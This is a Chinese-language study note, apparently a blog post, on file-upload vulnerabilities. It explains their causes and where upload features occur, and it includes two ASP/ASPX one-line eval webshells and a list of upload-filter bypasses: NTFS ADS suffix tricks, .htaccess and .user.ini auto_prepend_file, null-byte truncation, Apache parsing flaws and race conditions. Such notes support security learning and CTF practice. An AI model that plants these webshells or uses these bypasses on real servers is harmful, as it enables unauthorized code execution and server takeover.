第四天 文件上传漏洞

from Kuller_Yan

Web应用程序在处理用户上传的文件操作时,如果用户上传文件的路径、文件名、扩
展名成为用户可控数据,就会导致直接上传脚本木马到web服务器上,直接控制web
服务器。

原因:
1:文件上传时检查不严,或者仅仅在客户端进行检查(任何基于前端的过滤都是不安全的)
2:修改文件名时处理不当
3:使用第三方插件引用

常见安全问题:
(1)上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。
(2)上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过
类似方式控制策略文件的情况类似);
(3)上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
(4)上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被
用于钓鱼和欺诈。
(5)上传文件是WebShell时,攻击者可通过这些网页后门执行命令并控制服务器。

常见存在文件上传功能的地方:
(1)头像
(2)网站logo
(3)友情链接处:可能会可以添加logo
(4)编辑器
(5)后台中的文件管理
(6)模板管理
(7)主题管理
(8)插件管理
(9)水印图片处
(10)一些网站的写文章的地方,比如可以上传图片
(11)添加商品
(12)上传简历
(13) jQuery-File-Upload
(14) 。。。

webshell:就是以asp,php,jsp,或者cgi等网页文件形式存在的一种命令执行环境
也可以成为后门

一句话木马:
也可以:(一般ctf里面过滤问号可以用这个)

常用工具:
burp suite:老好用了;

火狐的hackbar

大马:指木马病毒;php大马,就是php写的提取站点权限的程序;带有提权或者修改站点功能。
ASP写的带有提权或者修改站点的功能,所以称为叫大马

asp&&aspx一句话木马:
<%eval request(“caidao”)%>
<%@ Page Language=“Jscript”%><%eval(Request.Item[“caidao”],“unsafe”);%>

黑名单可以,畸形后缀绕过;

绕过:
前端过滤约等于没有过滤
1:F12,设置精致javascript执行
2:上传之后抓包改后缀
黑名单过滤:
文件类型过滤:
http头里面的content-type(在http协议消息头中,它用来表示具体请求中的媒体类型信息):(服务端校验)
text/html 代表 HTML 格式
image/gif 代表 GIF 图片
Image/png 代表 GIF 图片
application/octet-stream 二进制流,不知道文件类型(PHP)
application/json 代表 JSON 类型

		绕过方式:
			1:畸形后缀名:
			2:根据windows特性:
				NTFS ADS特性:
					①、上传 shell.php::$DATA
					②、上传 test.jpg..
					③、上传 1.php<> 之类的后缀名,和 ② 类似。
					④、上传 1.php:.jpg
					
			1.php:.jpg 这类文件在上传后,在Windows中会被保存为一个 空的 1.php 文件,然后可

以再上传一个 1.php<> 或者 1.php<< 或者 其他Windows不允许的后缀,就会覆盖 前边那个空的
1.php

	其他方式:
		大小写改变
		双写
		利用apache解析漏洞
		.htaccess
		.user.ini
		
白名单过滤:
	检测方式:
		1:前端判断
		2:文件类型判断
		3:后缀名判断
		4:文件内容
	绕过方式:
		1:00截断
		2:apache解析漏洞
		3:文件包含  (图片马,包含getshell)
		4:条件竞争上传
		
			apache解析漏洞:识别文件的规则是根据后缀名从右往左识别的,
			遇到不在识别范围内的就会自动忽略,往左进行识别,如果左边是在
			解析范围内的就会正常解析,而一般程序进行判断文件是否允许上传是
			根据最后的后缀名进行判断的。
			(只存在老版本中)
			配置错误导致的解析漏洞:
				对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,是用户配置不

当造成的
00截断:
与php版本有关,要很老的版本才能用
使用.user.ini绕过黑名单
条件:
脚本语言为PHP
上传目录有可执行的php文件
使用方式:
上传个图片
上传.user.ini文件,内容为auto_prepend_file=2.png
访问:http://IP/upload/2.png/xx.php(目录里的一个php文件)

你可能感兴趣的:(笔记)